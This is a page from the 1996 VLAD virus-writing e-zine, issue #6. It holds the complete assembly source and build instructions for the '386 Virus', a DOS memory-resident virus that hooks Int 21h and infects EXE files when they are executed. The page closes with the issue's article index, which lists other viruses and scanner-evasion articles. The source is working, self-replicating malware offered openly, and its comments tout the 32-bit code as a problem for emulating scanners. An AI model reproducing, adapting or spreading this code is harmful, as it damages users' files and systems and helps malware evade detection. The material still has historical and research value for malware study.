Virus Labs & Distribution
VLAD #6 - 386 Virus


;
;                         386 Virus
;                       by Qark [VLAD]
;
; This virus is for purely research purposes, and would never take off in the
; wild.  It's purpose is to demonstrate the use of 32bit 386 instructions
; for DOS based viruses.  Half the time, using 32 bit instructions has no
; advantages and just ends up wasting space, but otherwise it can save space
; for example, using the multiple 'push' or 'pop' instructions.
;
; Using 32 bit code should also prove a problem for code emulating scanners.
;
;
; Assembly Instructions:    (Shareware A86 doesn't do 386 opcodes)
;  tasm 386
;  tlink /3 386
;  exe2bin 386
;  ren 386.bin 386.com
;


.model tiny
.data

.code
.386

start:
        org     0

;        jmp     $

        db      0beh            ;MOV SI,xxxx
delta   dw      100h

        cld

        ;Check if a 386 is present.
        pushf
        pop     ax
        or      ax,2000h
        push    ax
        popf
        pushf
        pop     ax
        test    ax,2000h
        jnz     is386

exit_vir:

        ;Restore the original SS:SP, and JMPF to the proper CS:IP

        push    es
        pop     ds

        mov     ax,ds
        add     ax,10h
        add     word ptr cs:[si+offset cs_ip+2],ax

        db      5                       ;ADD AX,xxxx
ss_seg  dw      0fff0h
        mov     ss,ax

        db      0bch                    ;MOV SP,xxxx
spp     dw      0fffeh

        jmp     $+2

        db      0eah
cs_ip   dd      0fff00000h

is386:
        mov     eax,'VLAD'                      ;Nice long residency checks.
        int     21h
        cmp     eax,'ROCK'
        je      exit_vir

        ;Standard memory allocation stuffs.

        mov     ax,ds
        dec     ax
        mov     ds,ax

        xor     edi,edi
        cmp     byte ptr [edi],'Y'
        jb      exit_vir

        sub     word ptr ds:[edi+03h],100h              ;(offset vir_mem/16)+1
        sub     word ptr ds:[edi+012h],100h             ;(offset vir_mem/16)+1
        mov     ax,word ptr [edi+12h]
        push    es
        mov     es,ax

        push    cs
        pop     ds

        mov     ecx,offset vir_end
        add     ecx,4
        shr     ecx,2

        push    si
        rep     movsd
        pop     si


        ;Set Int21 handler
        xor     ax,ax
        mov     ds,ax
        mov     eax,dword ptr ds:[021h*4]
        mov     es:dword ptr i21,eax

        mov     word ptr ds:[021h*04h],offset int21handler
        mov     word ptr ds:[021h*04h+02h],es
        pop     es

        jmp     exit_vir

        db      "386 Virus - by Qark/VLAD - 1996",0

int21handler:
        pushad
        pushfd
        push    ds
        push    es
        cmp     ax,4b00h                ;Grab file execution.
        je      infectit
        
        cmp     eax,'VLAD'
        jne     return21
        pop     es
        pop     ds
        popfd
        popad
        mov     eax,'ROCK'
        iret

return21:
        pop     es
        pop     ds
        popfd
        popad
        db      0eah
i21     dd      0

int21h  proc    near
        pushf
        call    dword ptr cs:i21
        ret
int21h  endp

infectit:

        mov     ax,3d02h                ;Open file.
        call    int21h
        jc      return21
        xchg    bx,ax

        push    cs
        pop     ds

        mov     ah,3fh                  ;Read in header.
        mov     cx,512
        mov     dx,offset read_buff
        call    int21h

        mov     esi,offset read_buff
        
        cmp     word ptr ds:[esi],'ZM'          ;Check for MZ header.
        jne     close_exit
        cmp     word ptr ds:[esi+12h],'VL'      ;Standard VLAD marker
        je      close_exit
        cmp     word ptr ds:[esi+0ch],0ffffh    ;Allocate all of memory ?
        jne     close_exit
        cmp     word ptr ds:[esi+18h],40h       ;Windows EXE ?
        jae     close_exit

        ;Save SS:SP
        mov     ax,word ptr ds:[esi+0eh]
        mov     ds:ss_seg,ax        ;

        mov     ax,word ptr ds:[esi+10h]
        mov     ds:spp,ax           ;

        ;Save CS:IP
        mov     eax,dword ptr ds:[esi+14h]      ;Save cs:ip
        mov     ds:cs_ip,eax       ;

        call    seek_end

        mov     cx,16
        div     cx

        sub     ax,word ptr ds:[esi+8]

        mov     word ptr ds:[esi+14h],dx
        mov     word ptr ds:[esi+16h],ax
        mov     word ptr ds:delta,dx         ;

        add     dx,offset vir_mem
        and     dx,0fffeh
        inc     ax

        mov     ds:[esi+0eh],ax
        mov     ds:[esi+10h],dx

        ;Write virus body.
        mov     ah,40h
        mov     cx,offset vir_end
        xor     dx,dx
        call    int21h

        call    seek_end

        mov     cx,512
        div     cx

        or      dx,dx
        jz      no_page_fix
        inc     ax
no_page_fix:
        mov     word ptr ds:[esi+4],ax
        mov     word ptr ds:[esi+2],dx

        mov     ax,4200h
        xor     cx,cx
        cwd
        call    int21h

        mov     word ptr ds:[esi+12h],'VL'

        ;Write modified header.
        mov     ah,40h
        mov     cx,1dh
        mov     dx,offset read_buff
        call    int21h
        
close_exit:
        ;Close file.
        mov     ah,3eh
        call    int21h

        jmp     return21

seek_end:
        mov     ax,4202h
        xor     cx,cx
        cwd
        call    int21h
        ret

vir_end:

read_buff       db      512 dup (0)

vir_mem:

end     start

- VLAD #6 INDEX -

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

Resist!
ARTICLE.2_2       IBM-AV
ARTICLE.2_3       MIME Disasm
ARTICLE.2_4       Dark Fiber Tunneling
ARTICLE.2_5       Bait Detection
ARTICLE.2_6       MCB Stealth
ARTICLE.2_7       RHINCE2

ARTICLE.3_1      

Win95 Intro
ARTICLE.3_2       Win95 tute
ARTICLE.3_3       PE header format
ARTICLE.3_4       Bizatch
ARTICLE.3_5       The Boza Situation
ARTICLE.3_6       Bizatch News
ARTICLE.3_7       What's Next ?

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Gilgamesh
ARTICLE.4_3       VIP
ARTICLE.4_4       SVL 1.2
ARTICLE.4_5       TFIWWB
ARTICLE.4_6       nimd00d3
ARTICLE.4_7       386 Virus

ARTICLE.5_1      

CLME Disasm
ARTICLE.5_2       Timber Wolf
ARTICLE.5_3       Serrelinda
ARTICLE.5_4       Insert v1.7
ARTICLE.5_5       Backwards
ARTICLE.5_6       TraceVir
ARTICLE.5_7       Lapis Lazuli

About VLAD - Links - Contact Us - Main